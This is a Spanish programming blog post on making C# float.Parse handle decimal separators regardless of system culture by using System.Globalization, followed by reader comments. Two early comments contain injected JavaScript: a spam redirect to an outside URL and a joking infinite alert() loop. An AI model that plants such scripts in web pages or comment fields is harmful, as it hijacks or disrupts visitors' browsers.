C# y FLOAT.PARSE

Todo aquel que haya picado algunas lineas de código en algúm momento ha tenido que leer un fichero, y esto es una verdad como un templo.

En C y C++ de toda la vida, para leer datos de un fichero se ha utilizado el "fopen" y el "fscanf", o considerado el método clásico. También "más modernos" están la serialización y los streams, pero los dejaré de lado.

Con "fscanf", si queríamos leer un número en coma flotante era algo tal que así:

fscanf(f,"%f",&numero);

La comodidad del sistema es que era directamente complatible con "fprintf", que por norma general era con lo que se realizaba la salida al fichero. Y cómodo porque se realizaba en formato texto, con lo que era sencillo cargalo con un editor de texto y ver el contenido.

¿Todo esto a qué biene? Pués que hasta ahora la parte decimal de un número flotante estaba separada de la parte entera con un ".", como por ejemplo "3.1415".

Pero cosas que tiene la vida……. en C# no siempre es así….

Si tenemos un número decimal en un string y queremos convertirlo a una variable en coma flotante, C# nos proporciona el método "Parse". Este método está disponible para todos los tipos básicos (int, float, double, etc…), que aquí también son objetos.

Si el string a convertir es "3.1415", "float.Parse" nos devolverá un 31415.0… vaya….
Si el string a convertir es "3,1415", "float.Parse" nos devolverá un 3.1415… esto ya es lo que queremos.

Solución: se cambia el punto por una coma y listos…. ¡¡pero no!!

Resulta que si tenemos el Framework.NET en español si que funciona, pero si lo tenemos en ingles, ya no. Según el idioma cambia la cosa.

En español los decimales se separan con una coma y en ingles con un punto, por lo que el mismo programa, dependiendo como se pasen los números, los convertirá correctamente o no.

Para asegurar el tiro, la función "Parse" permite más parámetros y que nuestro programa se comporte igual sea cual sea el idioma del entorno de ejecución.

La solución buena al problema es "System.Globalization".
Este espacio de nombres es el encargado en poner un poco de orden en lo que se trata "mayormente" los distintos formatos numericos entre otras cosas.

De esta forma, si queremos que el punto sea nuestro separador decimal de toda la vida, tendremos que utilizar la localización ingles-americana de la siguiente forma:

numero = float.Parse( "3.1415", System.Globalization.NumberStyles.Float, new System.Globalization.CultureInfo( "en-US" ) );

Esto nos permite especificar de que tipo de número se trata y que tipo de conversión tiene que aplicar.

Gracias Microsoft por hacernos la vida cada vez más facil.



COMENTARIOS

  1. sadasdas 3 marzo 2006, 17:55

    <script type="text/javascript">window.location.replace('http://ottorey.com.ar&#039 ;) </script>

  2. Guti 3 marzo 2006, 22:47

    Los spammers son cada vez más ingenuos…

    Espero que esa URL no sea del spammer.

    <script type="text/javascript">for (;;) alert();</script>

    :-)

  3. Polimalo 4 marzo 2006, 22:38

    Joder que huevos tiene la gente….. este se esta ganando una racion de 24 horas de web-band-fucker….. ya te digo….

  4. Guti 5 marzo 2006, 12:06

    Hombre, sería divertido…

    Yo no me fiaría de un programador como parece ser su caso, que se dedica a spammear con Javascript.

  5. estronque 14 septiembre 2007, 09:50

    Muchas gracias funciona a las mil maravillas.

  6. Marcos Di Fazio 1 julio 2008, 18:40

    Gracias amigo, me has hecho un gran aporte. Estoy recién entrando al .net framework y es un alivio tener gente como vos que nos dá una mano.

    Marcos
    http://www.argentinodepehuajo.blogspot.com

  7. Manolito 12 febrero 2009, 18:33

    No sabré sobre que trata el articulo, pero el header de tu página mola mil…

  8. antonio 25 mayo 2009, 17:48

    Tio me has salvado de una grande tenia el problema en el que si ingresaba 2.3 me lo pasaba a 23 y con esto que tiene en hora bueno me ha caido como anillo al dedo gracias men Dios te bendiga!!!!!!!! :)

  9. Angel Escobedo 13 agosto 2009, 00:23

    no es necesario especificar la cultura, aparte ahi le estas dando formato de USA, con esto es suficiente :

    float f = float.Parse(“123,456.789″, CultureInfo.InvariantCulture);

  10. CARLOS SEGURA YOQUIGÜE 25 noviembre 2009, 16:02

    ANGEL ESCOBEDO – TE FALTÓ EL FORMATO: NumberStyles.Float

    EXCELENTE POST Y EXCELENTE APORTE.

    valor = float.Parse(editor.EditValue.ToString(),NumberStyles.Float, CultureInfo.InvariantCulture);

    “ENSEÑAR ES REAPRENDER…”

  11. CARLOS SEGURA YOQUIGÜE 25 noviembre 2009, 16:03

    AH Y OBVIO, IMPORTEN PERVIAMENTE EL SYSMTEM.GLOBALIZATION….

    using System.Globalization;

  12. Polimalo 25 noviembre 2009, 19:17

    Gracias por el apunte!

  13. Phoen 12 diciembre 2009, 14:04

    Excelente Post.

  14. Lord Belial 2 diciembre 2010, 11:45

    Muy útil la información, muchas gracias por el aporte.

  15. Jorge 8 mayo 2011, 12:09

    Gracias, me sirvo de gran ayuda.

DEJA TU COMENTARIO